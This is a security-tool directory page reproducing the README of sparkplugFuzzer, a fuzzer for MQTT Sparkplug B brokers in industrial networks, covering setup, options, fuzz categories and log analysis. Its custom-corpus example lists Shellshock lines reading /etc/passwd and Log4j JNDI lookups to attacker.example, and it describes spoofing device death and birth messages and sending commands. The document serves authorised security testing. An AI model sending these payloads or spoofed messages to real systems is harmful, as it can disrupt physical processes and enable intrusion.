Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
sparkplugFuzzer — Fuzzer para el protocolo IIoT Sparkplug B | Kitploit
Herramientas/GitHubGitHub/bishopfox/sparkplugfuzzer
Análisis Dinámico (Sandboxing)Seguridad IoTAnálisis de VulnerabilidadesSeguridad SCADA/ICSFuzzingSeguridad de RedesPruebas de PenetraciónAutenticación
GitHubbishopfox/sparkplugfuzzer

sparkplugFuzzer

Fuzzer para el protocolo IIoT Sparkplug B

Ver Repositorio
1hace 2 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Fuzzer de Seguridad MQTT Sparkplug B

Una herramienta integral de evaluación de seguridad para probar implementaciones del protocolo MQTT Sparkplug B. El fuzzer prueba sistemáticamente todos los campos del protocolo en los 9 tipos de mensaje, descubre dispositivos activos en la red y genera registros detallados para su análisis.

Uso Responsable

Esta herramienta envía mensajes MQTT malformados, de inyección y que violan el protocolo a un broker objetivo. Ejecútela únicamente contra sistemas que posea o para los que tenga autorización escrita explícita para realizar pruebas. Los brokers Sparkplug B suelen ubicarse en entornos OT/ICS donde los payloads inesperados pueden interrumpir procesos físicos: asuma que todo objetivo está cerca de producción salvo que se demuestre lo contrario.

Si descubre una vulnerabilidad en una implementación de Sparkplug B usando esta herramienta, siga una divulgación coordinada con el proveedor afectado. Para informar un problema de seguridad en la propia herramienta, consulte SECURITY.md.

Tabla de Contenidos

  • Descripción general
  • Requisitos previos
  • Instalación
  • Inicio rápido
  • Uso
    • Opciones de línea de comandos
    • Categorías de fuzzing
    • Ejemplos
  • Cómo funciona
    • Flujo de ejecución
    • Descubrimiento de red
    • Evaluación de autenticación
    • Fuzzing dirigido
  • Ejecutar las pruebas
  • Análisis de salida y registros
    • Formato de registro
    • Analizar resultados
  • Cobertura del protocolo
    • Tipos de mensaje
    • Tipos de datos
    • Cobertura de campos
  • Arquitectura

Descripción general

La especificación Sparkplug B define un espacio de nombres de temas y un formato de payload construido sobre MQTT y Google Protocol Buffers para entornos de IIoT (Internet Industrial de las Cosas). Este fuzzer evalúa la seguridad y robustez de las implementaciones de Sparkplug B mediante:

  • Prueba de los 19 tipos de datos de métricas con valores límite y condiciones de desbordamiento
  • Inyección de cadenas maliciosas (XSS, SQLi, cadenas de formato, path traversal, inyección de comandos)
  • Creación de discrepancias de tipos entre los tipos de datos declarados y los campos de valor protobuf reales
  • Violación del orden de la máquina de estados del protocolo (datos antes de birth, births duplicados, datos después de death)
  • Corrupción de payloads protobuf serializados a nivel binario
  • Suplantación de certificados birth/death para dispositivos de red descubiertos
  • Fuzzing de espacios de nombres de temas MQTT con caracteres especiales, variaciones de mayúsculas/minúsculas y violaciones estructurales

Requisitos previos

  • Python 3.8+
  • Broker MQTT — el sistema objetivo bajo prueba (por ejemplo, Mosquitto, HiveMQ, EMQX o cualquier broker compatible con Sparkplug B)
  • Autorización — esta herramienta está pensada únicamente para pruebas de seguridad autorizadas

Instalación

En sistemas Debian/Ubuntu/Kali modernos (sistemas PEP-668), --setup no puede ejecutar pip install en el Python del sistema; use un entorno virtual o pipx primero. La ruta recomendada:```bash python3 -m venv .venv source .venv/bin/activate python3 sparkplug-fuzzer.py --setup

root@kitploit:~
O ejecútalo mediante `pipx run` si prefieres no gestionar el venv tú mismo. En sistemas antiguos sin la política PEP-668, `python3 sparkplug-fuzzer.py --setup` funciona directamente.

`--setup` hará lo siguiente:
1. Instalar las dependencias pip (`paho-mqtt`, `protobuf`)
2. Clonar una versión fija (tag) del repositorio [Eclipse Tahu](https://github.com/eclipse/tahu) (consulta `TAHU_REF` en el script)
3. Copiar los módulos auxiliares `sparkplug_b.py` y `array_packer.py`
4. Compilar `sparkplug_b.proto` en bindings de Python (usa `protoc` si está disponible; si no, recurre a `grpcio-tools`)
5. Limpiar el clon de Tahu

Después de la configuración, tu directorio debería contener:```
sparkplug-fuzzer.py     # The fuzzer
sparkplug_b.py          # Sparkplug B helper module (from Tahu)
array_packer.py         # Array packing helper (from Tahu)
sparkplug_b_pb2.py      # Generated protobuf bindings
requirements.txt        # Python dependencies
Configuración manual (si --setup no funciona)```bash pip install -r requirements.txt git clone https://github.com/eclipse/tahu.git cp tahu/python/core/sparkplug_b.py . cp tahu/python/core/array_packer.py . protoc --python_out=. sparkplug_b.proto rm -rf tahu ```

Inicio rápido```bash

python3 sparkplug-fuzzer.py --setup # first-time setup python3 sparkplug-fuzzer.py -H localhost -p 1883 -v # run fuzzer

root@kitploit:~
Esto:
1. Se conectará al broker en `localhost:1883`
2. Escuchará durante 10 segundos para descubrir dispositivos Sparkplug existentes
3. Establecerá el fuzzer como un nodo/dispositivo Sparkplug
4. Ejecutará las 12 categorías de fuzzing (~635+ casos de prueba)
5. Apuntará a cualquier dispositivo descubierto con mensajes falsificados
6. Escribirá los resultados en `sparkplug_fuzz.jsonl`

## Uso

### Opciones de línea de comandos```
python3 sparkplug-fuzzer.py [OPTIONS]

Categorías de fuzz

Ejemplos

Ejecutar todas las categorías con autenticación:```bash python3 sparkplug-fuzzer.py -H 10.0.1.30 -p 1883 -u admin -P secret -v

root@kitploit:~
**Pasa las credenciales sin exponerlas en `ps`:**```bash
# Via environment
MQTT_USERNAME=admin MQTT_PASSWORD=secret python3 sparkplug-fuzzer.py -H broker.local

# Or read password from stdin (getpass — no echo)
python3 sparkplug-fuzzer.py -H broker.local -u admin -P -

Conectar mediante TLS:```bash

System trust store, default port 8883

python3 sparkplug-fuzzer.py -H broker.example.com --tls -v

Custom CA bundle

python3 sparkplug-fuzzer.py -H broker.example.com --tls --cafile ./ca.pem -v

root@kitploit:~
**Evaluación pasiva de autenticación + sonda activa de escritura:**```bash
python3 sparkplug-fuzzer.py -H 10.0.1.30 --probe-anon-write -v

Ejecutar solo categorías relacionadas con inyección:```bash python3 sparkplug-fuzzer.py -H broker.local -c string type_mismatch malformed

root@kitploit:~
**Descubrimiento extendido con ritmo lento (minimizar la carga del broker):**```bash
python3 sparkplug-fuzzer.py -H 192.168.1.100 --discovery-time 60 --delay 0.5

Identidad personalizada de grupo/nodo y archivo de registro:```bash python3 sparkplug-fuzzer.py -H broker.local
-g "Production Floor" -n "TestNode01" -d "TestDevice01"
-l production_fuzz_results.jsonl -vv

root@kitploit:~
**Monitoriza el tráfico del broker en una terminal separada:**```bash
mosquitto_sub -h <broker_host> -p 1883 -t 'spBv1.0/#' -F '%I %t %x'

Configuración sin conexión con un repositorio de Tahu previamente clonado:```bash git clone https://github.com/eclipse/tahu.git ~/tahu # on a connected box

transfer ~/tahu to the air-gapped target, then on the target:

python3 sparkplug-fuzzer.py --setup --tahu-path ~/tahu

root@kitploit:~
**Diseño de salida por ejecución:**```bash
# Default — directory is auto-named under ./sparkplug-runs/
python3 sparkplug-fuzzer.py -H broker.local
# -> creates ./sparkplug-runs/2026-05-05_1830_broker.local/sparkplug_fuzz.jsonl

# Explicit directory:
python3 sparkplug-fuzzer.py -H broker.local --output-dir ./fuzz-runs/acme-2026Q2

Corpora de cadenas personalizadas

El STRING_FUZZ_VALUES incorporado cubre las categorías clásicas de inyección (cadenas vacías / enormes, bytes nulos, cadenas de formato, XSS, SQLi, path traversal, prototype pollution). Los compromisos reales a menudo necesitan payloads de segundo orden dirigidos a lo que sea que consuma los datos del broker downstream — historiadores que canalizan nombres de métricas a través de shell, hosts SCADA basados en Java que alimentan valores en log4j, paneles que renderizan nombres de etiquetas en HTML, etc.

La opción --extra-string-payloads <FILE> añade un corpus adicional a los incorporados. El formato es un payload por línea, UTF-8. Las líneas con solo espacios en blanco se conservan (a menudo intencional en fuzzing); las líneas completamente vacías se descartan. La opción añade a la lista incorporada en lugar de reemplazarla, por lo que la cobertura existente se preserva.```bash

corpus.txt — Shellshock + Log4j JNDI prefixes

cat > corpus.txt <<'EOF' () { :;}; /bin/cat /etc/passwd () { :; }; echo VULN ${jndi:ldap://attacker.example/x} ${${::-j}${::-n}${::-d}${::-i}:ldap://attacker.example/x} ${${lower:jndi}:ldap://attacker.example/x} EOF

python3 sparkplug-fuzzer.py -H broker.local --extra-string-payloads corpus.txt -v

root@kitploit:~
El fuzzer imprime `[+] Extra string payloads: loaded N from <path>` al inicio, y cada payload se emite a través de todos los lugares que iteran `STRING_FUZZ_VALUES` — principalmente la categoría `string`, pero también los casos de tipo cadena del generador de desajuste de tipos.

Límites estrictos: 10 MB de tamaño de archivo, 10,000 payloads. Ajusta `MAX_EXTRA_PAYLOADS_FILE_SIZE` / `MAX_EXTRA_PAYLOADS_COUNT` en la parte superior del script si necesitas más (y dispones del presupuesto de tiempo de ejecución necesario).

## Notas de la versión v0.2

- La opción `--output-dir` y el valor predeterminado `./sparkplug-runs/<UTC-ts>_<host>/` que se crea automáticamente — cada ejecución se ubica en su propio directorio para que los artefactos no colisionen entre ejecuciones.
- La opción `--tahu-path` para `--setup` — apunta a un clon local de `eclipse/tahu` para entornos de prueba aislados de la red donde el `git clone` saliente está bloqueado. El código fuente local nunca se elimina en la limpieza.
- Marcas de tiempo de consola y JSONL forzadas a UTC con sufijo `Z` explícito, de modo que la correlación cruzada con los registros del broker no requiere aritmética de zonas horarias.
- El logger de `paho.mqtt` se limita a WARNING de forma predeterminada; visible en INFO con `-v`, DEBUG con `-vv`. La telemetría del cliente por paquete ya no ahoga la señal de fuzz.
- Banco de pruebas pytest en `tests/` — 23 pruebas que cubren FuzzLogger, el helper de topics, la resolución de rutas de salida y la validación de `--tahu-path`. Consulta [Ejecución de las pruebas](#running-the-tests).

## Ejecución de las pruebas

El banco de pruebas cubre la superficie independiente de la red (corrección del logger, constructor de topics, resolución de la ruta de salida, parseo de `--tahu-path`) y se ejecuta sin tener instalados un broker, paho-mqtt o protobuf.```bash
pip install -r requirements-dev.txt
pytest tests/

Expected: 23 passed. Las rutas dependientes de la red (PayloadBuilder protobuf, fuzz publishers, MQTT lifecycle) se difieren deliberadamente a una futura capa de pruebas de integración con un broker contenedorizado.

Cómo funciona

Flujo de ejecución```

  1. CONNECT Connect to MQTT broker with NDEATH as last-will-and-testament Subscribe to spBv1.0/# and STATE/# for discovery |
  2. DISCOVER Passively listen for Sparkplug traffic (configurable duration) Build map of groups, nodes, devices, and their metric definitions |
  3. ESTABLISH Publish fuzzer's own NBIRTH + DBIRTH to register as a valid node |
  4. FUZZ Run selected categories sequentially Each category generator yields (topic, payload, description) tuples Every publish logged via centralized _publish() method Configurable delay between messages |
  5. TARGET For each discovered node/device: - Spoof NDEATH (kill node) - Spoof NBIRTH (impersonate node) - Spoof DDEATH/DBIRTH (kill/impersonate device) - Send DCMD/NCMD with fuzzed metric values |
  6. REPORT Print summary (total TX/RX counts by category) Close log file, disconnect
root@kitploit:~
### Descubrimiento de red

Durante la fase de descubrimiento, el fuzzer se suscribe a `spBv1.0/#` y escucha todo el tráfico Sparkplug. El componente `DeviceTracker` analiza los mensajes observados para construir un mapa de red en vivo:

- **NBIRTH** revela nodos de borde y sus definiciones de métricas (nombre, alias, tipo de dato)
- **DBIRTH** revela dispositivos y sus esquemas de métricas
- **NDEATH/DDEATH** rastrea el estado del ciclo de vida de nodos/dispositivos
- **STATE** revela aplicaciones host y su estado en línea/fuera de línea

Este mapa se utiliza en la fase de fuzzing dirigido para enviar ataques contextualmente relevantes contra dispositivos reales con sus esquemas de métricas reales.

### Evaluación de autenticación

Cuando el fuzzer se conecta sin `-u/-P` (y `MQTT_USERNAME`/`MQTT_PASSWORD` no están configurados), deduce la postura de autenticación del broker únicamente a partir del descubrimiento pasivo. Esto produce un único evento `AUTH_ASSESSMENT` en el registro y un resumen impreso:

| Señal | Qué significa | Cómo se deduce |
|---|---|---|
| `anon_connect_accepted` | El broker aceptó CONNECT sin credenciales | El propio CONNECT del fuzzer tuvo éxito |
| `anon_subscribe_accepted` | El broker reenvía `spBv1.0/#` / `STATE/#` a clientes anónimos | Al menos un mensaje RX llegó durante la ventana de escucha |
| `anon_publish_accepted` | El broker acepta PUBLISH de clientes anónimos | Solo se establece si se pasa `--probe-anon-write`; sonda QoS=1 + espera de PUBACK |
| `unauth_endpoints` | Nodos / dispositivos / aplicaciones host observables sin autenticación | Cada entidad en el mapa de red descubierto (la autenticación nunca se produjo) |

La sonda QoS=1 es opcional porque cruza de pasiva a activa. Con QoS=0 el broker descarta silenciosamente los mensajes que denegaría, por lo que confirmar la aceptación de escritura requiere leer un PUBACK.

MQTT/Sparkplug no tienen autenticación por endpoint: la autenticación es una preocupación a nivel de broker. Por lo tanto, "endpoints observables sin autenticación" se informa como una lista de *objetivos alcanzables a coste cero* en lugar de una propiedad de los propios endpoints.

### Fuzzing dirigido

Después del fuzzing sistemático, la herramienta apunta a cada dispositivo descubierto con:

1. **Avisos de muerte falsificados** — publica NDEATH/DDEATH para engañar a los suscriptores haciéndoles creer que los dispositivos se desconectaron
2. **Certificados de nacimiento falsificados** — publica NBIRTH/DBIRTH para suplantar nodos/dispositivos descubiertos
3. **Inyección de comandos** — envía mensajes NCMD/DCMD con valores límite para cada métrica conocida, probando si el objetivo valida los comandos entrantes
4. **Comandos de renacimiento** — envía NCMD `Node Control/Rebirth` para provocar que los dispositivos vuelvan a publicar sus nacimientos

## Análisis de salida y registros

### Formato de registro

El archivo de registro utiliza formato JSON-lines (`.jsonl`): un objeto JSON por línea, adecuado para el análisis con `jq`, Python o cualquier herramienta compatible con JSON.

Los payloads de más de 64 KiB no se incluyen como hex; en su lugar, `payload_hex` lleva `sha256:<digest>+len=<n>` para que el registro se mantenga acotado en casos de fuzzing muy grandes. `payload_len` siempre está presente.

**TX record** (mensaje de fuzzing saliente):```json
{
  "ts": "2026-04-10T15:30:00.123456Z",
  "dir": "TX",
  "case_id": "BOUNDARY-0042",
  "category": "boundary",
  "topic": "spBv1.0/Sparkplug B Devices/DDATA/FuzzNode/FuzzDevice",
  "payload_hex": "0800120a0a06...",
  "payload_len": 28,
  "payload_decoded": {"timestamp": 1712345678000, "metrics": [{"name": "fuzz/boundary/Int32", "datatype": 3, "int_value": 2147483647}]},
  "description": "Boundary Int32 = 2147483647 (int_value)"
}

Registro RX (mensaje entrante de la red):```json { "ts": "2026-04-10T15:30:01.456789Z", "dir": "RX", "topic": "spBv1.0/Production/NBIRTH/PLC01", "payload_hex": "0800120f...", "payload_len": 156, "payload_decoded": {"timestamp": 1712345679000, "metrics": [{"name": "Node Control/Rebirth", "datatype": 11, "boolean_value": false}]} }

root@kitploit:~
**Registro de eventos** (evento del sistema):```json
{
  "ts": "2026-04-10T15:29:50.000000Z",
  "dir": "EVENT",
  "event": "DISCOVERY_COMPLETE",
  "details": {"groups": ["Production"], "node_count": 3, "device_count": 7, "targets": 10}
}

Analizando Resultados

Contar casos por categoría:```bash grep '"dir": "TX"' sparkplug_fuzz.jsonl | jq -r '.category' | sort | uniq -c | sort -rn

root@kitploit:~
**Extrae todos los casos de inyección de cadenas:**```bash
jq 'select(.category == "string")' sparkplug_fuzz.jsonl

Lista todos los dispositivos descubiertos:```bash jq 'select(.event == "DISCOVERY_COMPLETE")' sparkplug_fuzz.jsonl

root@kitploit:~
**Encontrar casos que provocaron desconexiones del broker:**```bash
jq 'select(.event == "UNEXPECTED_DISCONNECT" or .event == "RECONNECT_FAIL")' sparkplug_fuzz.jsonl

Extraer la evaluación de autenticación:```bash jq 'select(.event == "AUTH_ASSESSMENT")' sparkplug_fuzz.jsonl

root@kitploit:~
**Lista los endpoints accesibles sin autenticación:**```bash
jq -r 'select(.event == "AUTH_ASSESSMENT") | .details.unauth_endpoints[] | [.kind, .group, .node, .device, .host_id, .status] | @tsv' sparkplug_fuzz.jsonl

Obtén el recuento de TX a lo largo del tiempo (para análisis de tasa):```bash grep '"dir": "TX"' sparkplug_fuzz.jsonl | jq -r '.ts[:19]' | uniq -c

root@kitploit:~
**Exportar todos los temas publicados en:**```bash
jq -r 'select(.dir == "TX") | .topic' sparkplug_fuzz.jsonl | sort -u

Analizar con Python:```python import json

with open("sparkplug_fuzz.jsonl") as f: records = [json.loads(line) for line in f]

tx = [r for r in records if r["dir"] == "TX"] rx = [r for r in records if r["dir"] == "RX"] events = [r for r in records if r["dir"] == "EVENT"]

print(f"Total TX: {len(tx)}, RX: {len(rx)}, Events: {len(events)}")

Find any decode errors in received messages (possible crash indicators)

errors = [r for r in rx if "_decode_error" in str(r.get("payload_decoded", {}))] print(f"Decode errors in RX: {len(errors)}")

root@kitploit:~
## Protocol Coverage

### Message Types

All 9 Sparkplug B message types are tested:

| Message Type | Topic Pattern | Description | Fuzzer Usage |
|---|---|---|---|
| NBIRTH | `spBv1.0/{group}/NBIRTH/{node}` | Node birth certificate | Establishes fuzzer presence; spoofed for discovered nodes; ordering tests |
| NDEATH | `spBv1.0/{group}/NDEATH/{node}` | Node death notification | MQTT last-will; spoofed for discovered nodes; ordering tests |
| DBIRTH | `spBv1.0/{group}/DBIRTH/{node}/{device}` | Device birth certificate | Establishes fuzzer device; spoofed for discovered devices; ordering tests |
| DDEATH | `spBv1.0/{group}/DDEATH/{node}/{device}` | Device death notification | Spoofed for discovered devices; ordering tests; orphan tests |
| NDATA | `spBv1.0/{group}/NDATA/{node}` | Node data update | Boundary values; sequence numbers; ordering tests |
| DDATA | `spBv1.0/{group}/DDATA/{node}/{device}` | Device data update | Primary vehicle for most fuzz categories |
| NCMD | `spBv1.0/{group}/NCMD/{node}` | Node command | Targeted fuzzing (rebirth commands); orphan tests |
| DCMD | `spBv1.0/{group}/DCMD/{node}/{device}` | Device command | Targeted fuzzing against discovered device metrics; orphan tests |
| STATE | `STATE/{host_id}` | Host application state (JSON) | Malformed JSON injection |

### Data Types

All 19 Sparkplug B metric data types are tested with type-specific boundary values:

| Code | Type | Protobuf Field | Boundary Values Tested |
|------|------|---------------|----------------------|
| 1 | Int8 | int_value | 0, -128, 127, 128 (overflow), -129 (underflow) |
| 2 | Int16 | int_value | 0, -32768, 32767, overflow/underflow |
| 3 | Int32 | int_value | 0, -2^31, 2^31-1, overflow/underflow |
| 4 | Int64 | long_value | 0, -2^63, 2^63-1, overflow |
| 5 | UInt8 | int_value | 0, 255, 256, -1 |
| 6 | UInt16 | int_value | 0, 65535, 65536, -1 |
| 7 | UInt32 | int_value | 0, 4294967295, -1 |
| 8 | UInt64 | long_value | 0, 2^64-1, -1 |
| 9 | Float | float_value | 0.0, -0.0, max, min, inf, -inf, NaN |
| 10 | Double | double_value | 0.0, -0.0, max, min, inf, -inf, NaN |
| 11 | Boolean | boolean_value | True, False; also tested with raw int values (0, 1, 2, 255) |
| 12 | String | string_value | Empty, long (up to 64KB), injection payloads |
| 13 | DateTime | long_value | Epoch, max, far future/past |
| 14 | Text | string_value | Same injection payloads as String |
| 15 | UUID | string_value | Empty, valid, invalid format, injections |
| 16 | DataSet | dataset_value | Structural violations via dataset category |
| 17 | Bytes | bytes_value | Empty, null bytes, random, large |
| 18 | File | bytes_value | Empty, magic bytes, large |
| 19 | Template | template_value | Undefined references, orphan templates |

### Field Coverage

The fuzzer covers 87+ unique protobuf field paths including:

- **Payload root fields**: timestamp, seq, uuid, body, metrics
- **Metric fields**: name, alias, timestamp, datatype, is_historical, is_transient, is_null, metadata, properties, and all value oneof variants
- **MetaData fields**: is_multi_part, content_type, size, seq, file_name, file_type, md5, description
- **PropertySet/PropertyValue**: keys, values, type, is_null, recursive propertyset_value, propertysets_value
- **DataSet**: num_of_columns, columns, types, rows, elements, all DataSetValue variants
- **Template**: version, template_ref, is_definition, nested metrics, parameters

## Architecture

The fuzzer is a single Python file organized into these components:```
sparkplug-fuzzer.py
    |
    +-- Constants / ALL_METRIC_TYPES / STRING_FUZZ_VALUES
    |       Type definitions and fuzz value tables
    |
    +-- FuzzLogger
    |       JSON-lines file logging + console output
    |       Protobuf payload decoding
    |
    +-- DeviceTracker
    |       Passive network discovery
    |       Tracks groups, nodes, devices, metrics
    |
    +-- PayloadBuilder
    |       Valid payload construction (sparkplug_b helpers)
    |       Raw payload construction (sparkplug_b_pb2 direct)
    |       Binary corruption (truncate, flip, append)
    |
    +-- 12 Fuzz Generators
    |       Each is a Python generator yielding (topic, bytes, desc)
    |       Covers boundary, string, type, seq, timestamp, alias,
    |       orphan, ordering, recursive, dataset, malformed, topic
    |
    +-- SparkplugFuzzer
    |       Orchestration: connect, discover, fuzz, target, report
    |       Centralized publish with logging
    |       Auto-reconnect on disconnect
    |
    +-- CLI (argparse) + main()
            Argument parsing and entry point

The two-level payload construction is a key design decision:

  • Nivel alto (PayloadBuilder.node_birth(), etc.) utiliza las funciones auxiliares de sparkplug_b para construir payloads válidos y bien formados. Se usa para establecer presencia y suplantación dirigida.
  • Nivel bajo (PayloadBuilder.raw_payload(), corrupt_bytes()) manipula directamente los objetos protobuf sparkplug_b_pb2 o los bytes sin procesar, omitiendo la validación. Se usa para payloads malformados intencionalmente que prueban el manejo de errores y los casos límite del analizador.

Licencia

Este proyecto está licenciado bajo la Licencia MIT — consulta LICENSE para el texto completo.

Terceros

sparkplug-fuzzer.py --setup descarga los siguientes componentes de Eclipse Tahu en el momento de la instalación y los copia en el directorio de trabajo:

  • sparkplug_b.py — módulo auxiliar de Sparkplug B
  • array_packer.py — auxiliar de empaquetado de arrays
  • sparkplug_b.proto — definición de Protocol Buffer (se usa para generar sparkplug_b_pb2.py)

Eclipse Tahu se distribuye bajo la Apache License, Version 2.0. Ninguno de los archivos fuente de Tahu se redistribuye en este repositorio. Consulta NOTICE para la atribución completa.

Descargar herramienta
OpciónPor defectoDescripción
-H, --hostlocalhostNombre de host o IP del broker MQTT
-p, --port1883 (o 8883 con --tls)Puerto del broker MQTT
-u, --usernameNoneNombre de usuario MQTT (también lee la variable de entorno MQTT_USERNAME)
-P, --passwordNoneContraseña MQTT (también lee MQTT_PASSWORD; pasa - para leer desde stdin sin eco)
--tlsoffConectar mediante TLS; el puerto por defecto pasa a ser 8883 si -p no se establece
--cafileNoneConjunto de CA para la verificación del certificado del servidor TLS
--insecureoffOmite la verificación del nombre de host/certificado TLS (solo para pruebas)
-g, --groupSparkplug B DevicesID del grupo Sparkplug bajo el que se registra el fuzzer
-n, --nodeFuzzNodeID del nodo edge Sparkplug para el fuzzer
-d, --deviceFuzzDeviceID del dispositivo Sparkplug para el fuzzer
-c, --categoriesallLista separada por espacios de categorías de fuzzing a ejecutar
--discovery-time10Segundos para escuchar pasivamente el descubrimiento de red
--delay0.1Retardo en segundos entre mensajes de fuzzing
--probe-anon-writeoffDurante el descubrimiento, envía un publish QoS=1 para confirmar si el broker acepta PUBLISH no autenticado
-l, --logsparkplug_fuzz.jsonlNombre del archivo de registro de salida (las rutas relativas se colocan dentro de --output-dir; las rutas absolutas se respetan tal cual)
--output-dir./sparkplug-runs/<UTC-ts>_<host>/Directorio de salida por ejecución. Se crea si no existe.
-v, --verbose0Aumenta la verbosidad de la consola (-v = info, -vv = debug). -vv también muestra las omisiones del generador de fuzzing, y el registrador limitado paho.mqtt pasa a INFO/DEBUG según la verbosidad.
--setup—Instala todas las dependencias y sale
--tahu-path—Ruta a un clon local de eclipse/tahu (o su directorio python/core). Lo usa --setup en entornos aislados en lugar de git clone.
--extra-string-payloads—Ruta a un archivo de payloads adicionales de inyección de cadenas (uno por línea, UTF-8). Se añaden a los STRING_FUZZ_VALUES integrados; no los reemplaza. Máximo 10 MB / 10 000 payloads. Consulta Corpus de cadenas personalizados.
CategoríaDescripciónCasos aprox.
boundaryMín/máx/desbordamiento para los 19 tipos de datos numéricos, is_null con valores, combinaciones de flags~200
stringPayloads de inyección (XSS, SQLi, cadenas de formato, path traversal, inyección de comandos, bytes nulos) en campos String, Text, UUID, MetaData y mensajes STATE~100
type_mismatchTipo de dato declarado frente a un campo de valor protobuf incorrecto, códigos de tipo de dato no válidos, múltiples campos oneof~150
sequenceHuecos de secuencia, duplicados, retrocesos, reinicio, discrepancia de bdSeq entre NBIRTH/NDEATH~20
timestampCero, uint64 máximo, futuro/pasado lejano, inconsistencia de timestamp entre métrica y payload, extremos de DateTime~15
aliasAlias duplicados para diferentes métricas, valores de alias extremos, alias no definidos en mensajes de datos~15
orphanDatos/comandos dirigidos a dispositivos, nodos o grupos inexistentes; referencias a plantillas no definidas~20
orderingViolaciones del estado del protocolo: datos antes del nacimiento, nacimientos dobles, datos después de la muerte, orden de nacimiento incorrecto~15
recursiveCadenas PropertySet anidadas (profundidad 1-100), discrepancias de longitud clave/valor, variaciones de PropertySetList~15
datasetDiscrepancias en el número de columnas, discrepancias en los elementos de fila, violaciones de tipo, datasets vacíos/enormes, caracteres especiales en nombres de columna~25
malformedCorrupción de protobuf binario: truncamiento, inversión de bits, bytes aleatorios, varints demasiado largos, clases de mensaje incorrectas~30
topicVariaciones de mayúsculas/minúsculas, versiones incorrectas, barras sobrantes/faltantes, caracteres especiales, comodines en cadenas de temas~30